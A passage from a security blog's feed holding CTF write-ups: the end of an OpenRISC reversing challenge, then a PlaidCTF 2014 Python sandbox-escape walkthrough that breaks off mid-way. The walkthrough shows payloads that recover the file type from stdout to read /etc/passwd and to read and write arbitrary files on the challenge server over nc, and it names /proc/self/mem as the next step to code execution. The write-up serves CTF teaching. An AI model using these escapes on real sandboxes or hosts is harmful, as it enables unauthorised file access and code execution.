       &lt;span class="nt"&gt;xXo&lt;/span&gt;    &lt;span class="nt"&gt;ONWNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNK0ko&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;  OXo          &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;l0NXx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;              &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;KK&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
       &lt;span class="nt"&gt;OXc&lt;/span&gt;    &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;Nk0NW&lt;/span&gt; &lt;span class="nt"&gt;KNWWWWWWWWWWWWWWWWWWWWWNNN&lt;/span&gt; &lt;span class="nt"&gt;00NNx&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;         l Kc      &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;lONN0l&lt;/span&gt;                &lt;span class="nt"&gt;o&lt;/span&gt; &lt;span class="nt"&gt;K&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
       &lt;span class="nt"&gt;K&lt;/span&gt; &lt;span class="o"&gt;;&lt;/span&gt;     &lt;span class="nt"&gt;dNKoON0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;l&lt;/span&gt; &lt;span class="nt"&gt;Nkcld0N&lt;/span&gt; &lt;span class="nt"&gt;o&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;cd0NNO&lt;/span&gt;&lt;span class="o"&gt;:;,,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;    0 c            l  o  &amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;l0NNKd&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;                &lt;span class="nt"&gt;c0Nk&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;K&lt;/span&gt;       &lt;span class="nt"&gt;xNX0&lt;/span&gt; &lt;span class="nt"&gt;Kc&lt;/span&gt; &lt;span class="nt"&gt;cXXl&lt;/span&gt;  &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;KXl&lt;/span&gt;     &lt;span class="nt"&gt;d&lt;/span&gt; &lt;span class="nt"&gt;0&lt;/span&gt;         &lt;span class="nt"&gt;0&lt;/span&gt; &lt;span class="nt"&gt;o&lt;/span&gt;             &lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;XOK&lt;/span&gt; &lt;span class="nt"&gt;XOo&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;                 &lt;span class="nt"&gt;l0Xk&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; 
      &lt;span class="nt"&gt;dXk&lt;/span&gt;        &lt;span class="nt"&gt;lKW&lt;/span&gt; &lt;span class="nt"&gt;0d&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;OWK&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="nt"&gt;lXXc&lt;/span&gt;     &lt;span class="nt"&gt;OX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;        &lt;span class="nt"&gt;O&lt;/span&gt; &lt;span class="nt"&gt;x&lt;/span&gt;         &lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;cdk0X&lt;/span&gt; &lt;span class="nt"&gt;XOd&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;    ;c:&amp;#39;&lt;/span&gt;  &lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nt"&gt;xKXx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
      &lt;span class="nt"&gt;0&lt;/span&gt; &lt;span class="nt"&gt;o&lt;/span&gt;          &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;dOK&lt;/span&gt;   &lt;span class="nt"&gt;W&lt;/span&gt; &lt;span class="nt"&gt;KOxkXWXo&lt;/span&gt;&lt;span class="o"&gt;:,,;&lt;/span&gt;&lt;span class="nt"&gt;O&lt;/span&gt; &lt;span class="nt"&gt;k&lt;/span&gt;&lt;span class="o"&gt;;,,,,,;&lt;/span&gt;&lt;span class="nt"&gt;c0&lt;/span&gt; &lt;span class="nt"&gt;XOxxkO0XX&lt;/span&gt; &lt;span class="nt"&gt;XKOdc&lt;/span&gt;&lt;span class="o"&gt;,.&lt;/span&gt;  &lt;span class="o"&gt;..;::,...;&lt;/span&gt;&lt;span class="nt"&gt;lol&lt;/span&gt;&lt;span class="o"&gt;;..&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;XOl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
     &lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nt"&gt;XX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;             &lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;cldxkOO0&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;XXXXXXXXXX&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;00Okxdol:;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;   &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;::,..&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;llc&lt;/span&gt;&lt;span class="o"&gt;,..&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lkKXkc.&lt;/span&gt;
&lt;span class="s1"&gt;     :NX&amp;#39;&lt;/span&gt;    &lt;span class="o"&gt;.&lt;/span&gt;     &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;            &lt;span class="o"&gt;..................&lt;/span&gt;             &lt;span class="o"&gt;.,;:;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,;ccc;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lkKX0d;.&lt;/span&gt;
&lt;span class="s1"&gt;     lNK.   .;      ,lc,.         ................        ..,,;;;;;;:::,....,lkKX0d:.&lt;/span&gt;
&lt;span class="s1"&gt;    .oN0.    .&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;      &lt;span class="o"&gt;.;&lt;/span&gt;&lt;span class="nt"&gt;ccc&lt;/span&gt;&lt;span class="o"&gt;;,&lt;/span&gt; &lt;span class="o"&gt;....&lt;/span&gt;              &lt;span class="o"&gt;....&lt;/span&gt;  &lt;span class="o"&gt;,;;;;;;;;;;&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt;   &lt;span class="o"&gt;.;&lt;/span&gt;&lt;span class="nt"&gt;oOXX0d&lt;/span&gt;&lt;span class="o"&gt;:.&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;N0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;      &lt;span class="o"&gt;.;;,..&lt;/span&gt;       &lt;span class="o"&gt;....&lt;/span&gt;                &lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;....&lt;/span&gt;     &lt;span class="o"&gt;.:&lt;/span&gt; &lt;span class="nt"&gt;OKKko&lt;/span&gt;&lt;span class="o"&gt;;.&lt;/span&gt;
     &lt;span class="nt"&gt;lNK&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;         .., ::  ,&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.........................&lt;/span&gt;           &lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="nt"&gt;0X0kc&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.&lt;/span&gt;
&lt;span class="s1"&gt;     .xXO                                                  .;oOK0x:.&lt;/span&gt;
&lt;span class="s1"&gt;      .cKKo.                                    .,:oxkkkxk0K0xc&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;oKKkc&lt;/span&gt;&lt;span class="o"&gt;,.&lt;/span&gt;                         &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;cok XNNNX Oxoc,.&lt;/span&gt;
&lt;span class="s1"&gt;          .;d XXdkdlc:;,,,&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,,,;;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;clodkO0KK0Oldl&lt;/span&gt;&lt;span class="o"&gt;:,&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;
              &lt;span class="o"&gt;.,&lt;/span&gt;&lt;span class="nt"&gt;coxO0KX&lt;/span&gt;      &lt;span class="nt"&gt;KK0OOxdoc&lt;/span&gt;&lt;span class="o"&gt;:,..&lt;/span&gt;
                        &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I had to shorten the output, we get lots of lines complaining about an invalid
nop operand. Looks like data! Playing around with it, we find that it is
little-endian words that make up a large bas64 string.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;%gcc-or1k-elf-4.8.1-x86_64/bin/or1k-elf-run ./trollface &lt;span class="m"&gt;1&lt;/span&gt;&amp;gt;/dev/null &lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;
    cut -d &lt;span class="s2"&gt;&amp;quot; &amp;quot;&lt;/span&gt; -f &lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;sed &lt;span class="s1"&gt;&amp;#39;s/0x0000//g&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
    perl -pe&lt;span class="s1"&gt;&amp;#39;s/(..)(..)\n/chr(hex($2)).chr(hex($1))/e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
    base64 -d &amp;gt; hidden&lt;span class="o"&gt;)&lt;/span&gt;

% file hidden
hidden: ERROR: ELF &lt;span class="m"&gt;32&lt;/span&gt;-bit MSB executable, OpenRISC, version &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;SYSV&lt;span class="o"&gt;)&lt;/span&gt;, statically linkederror reading &lt;span class="o"&gt;(&lt;/span&gt;Invalid argument&lt;span class="o"&gt;)&lt;/span&gt;

% gcc-or1k-elf-4.8.1-x86_64/bin/or1k-elf-run ./hidden
flag&lt;span class="o"&gt;{&lt;/span&gt;Have you ever heard something about OpenRISC?&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Yes, we have!&lt;/p&gt;</content></entry><entry><title>"PlaidCTF 2014 '__nightmares__' (Pwnables 375) writeup"</title><link href="https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/" rel="alternate"></link><published>2014-04-14T23:06:56+09:00</published><updated>2014-04-14T23:06:56+09:00</updated><author><name>Martin Heistermann</name></author><id>tag:blog.mheistermann.de,2014-04-14:/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/</id><summary type="html">&lt;p&gt;Another Python sandbox outbreak challenge... with a non-pythonic solution.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Another Python sandbox outbreak challenge... with a non-pythonic solution.&lt;/p&gt;
&lt;h3&gt;Challenge setup&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The Plague is building an army of evil hackers, and they are starting off by teaching them python with this simple service. Maybe if you could get full access to this system, at 54.196.37.47:9990, you would be able to find out more about The Plague's evil plans.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We're also given the source code of the server:
&lt;!-- more --&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/usr/bin/python -u&lt;/span&gt;
&lt;span class="sd"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="sd"&gt;You may wish to refer to solutions to the pCTF 2013 &amp;quot;pyjail&amp;quot; problem if&lt;/span&gt;
&lt;span class="sd"&gt;you choose to attempt this problem, BUT IT WON&amp;#39;T HELP HAHAHA.&lt;/span&gt;
&lt;span class="sd"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;imp&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;acquire_lock&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Thread&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;

&lt;span class="c1"&gt;# No more importing!&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;acquire_lock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;acquire_lock&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;Thread&lt;/span&gt;

&lt;span class="c1"&gt;# No more modules!&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iteritems&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__dict__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;

&lt;span class="n"&gt;__main__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;modules&lt;/span&gt;

&lt;span class="c1"&gt;# No more anything!&lt;/span&gt;
&lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;__builtins__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vm"&gt;__doc__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vm"&gt;__file__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;__package__&lt;/span&gt;

&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Get a shell. The flag is NOT in ./key, ./flag, etc.&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;exec&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;print &amp;gt;&amp;gt; stdout, &amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;stdout&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The description already hints at some more classic non-working ways to break
out of this sandbox that use some module references hidden deep in a
labyrinth of python objects. I didn't look to closely, but I just assume
that doing everything in a new thread after the last import makes sure no
module references persist.&lt;/p&gt;
&lt;p&gt;However, we do have access to the &lt;code&gt;stdout&lt;/code&gt; object. Let's see what we can do with that...&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;__class__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__delattr__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__doc__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__enter__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__exit__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__format__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;__getattribute__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__hash__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__init__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__iter__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__new__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;__reduce__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__reduce_ex__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__repr__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__setattr__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__sizeof__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;__str__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__subclasshook__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;close&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;closed&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;encoding&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;errors&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;fileno&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;flush&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;isatty&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;mode&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;newlines&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;next&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;read&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;readinto&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;readline&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;readlines&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;seek&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;softspace&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;tell&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;truncate&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;write&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;writelines&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;xreadlines&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/passwd&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;root:x:0:0:root:/root:/usr/bin/zsh&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We can use &lt;code&gt;stdout.__class__&lt;/code&gt; just like we'd use &lt;code&gt;file&lt;/code&gt; in python.
Let's try it on the remote host:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stdout.__class__(&amp;#39;/tmp/lulu&amp;#39;,&amp;#39;w&amp;#39;).write(&amp;#39;aaaaa&amp;#39;)&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
^C
% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stdout.__class__(&amp;#39;/tmp/lulu&amp;#39;).read()&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;
Get a shell. The flag is NOT in ./key, ./flag, etc.
aaaaa
^C
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So we can already read and write arbitrary files... nice. As long as we
have the proper permissions. And as long as we know the filenames.
Well... the service already tells us that trying random filenames for the flag
will not work well, and we have no way yet to list any files. I couldn't find
any really interesting files to read or write at first.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/proc&lt;/code&gt; is also mounted, and reading &lt;code&gt;/proc/self/cmdline&lt;/code&gt; at least shows us
the script location and the python interpreter used:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stdout.__class__(&amp;#39;/proc/self/cmdline&amp;#39;).read()&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;
Get a shell. The flag is NOT in ./key, ./flag, etc.
/usr/bin/python2-u/home/nightmares_owner/nightmares.py
^C
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;But there is a pseudofile in &lt;code&gt;/proc&lt;/code&gt; which is a lot more interesting:
&lt;code&gt;/proc/self/mem&lt;/code&gt;. This gives us read and write access to our python
interpreters memory! This will be our way to execute arbitrary code.&lt;/p&gt;
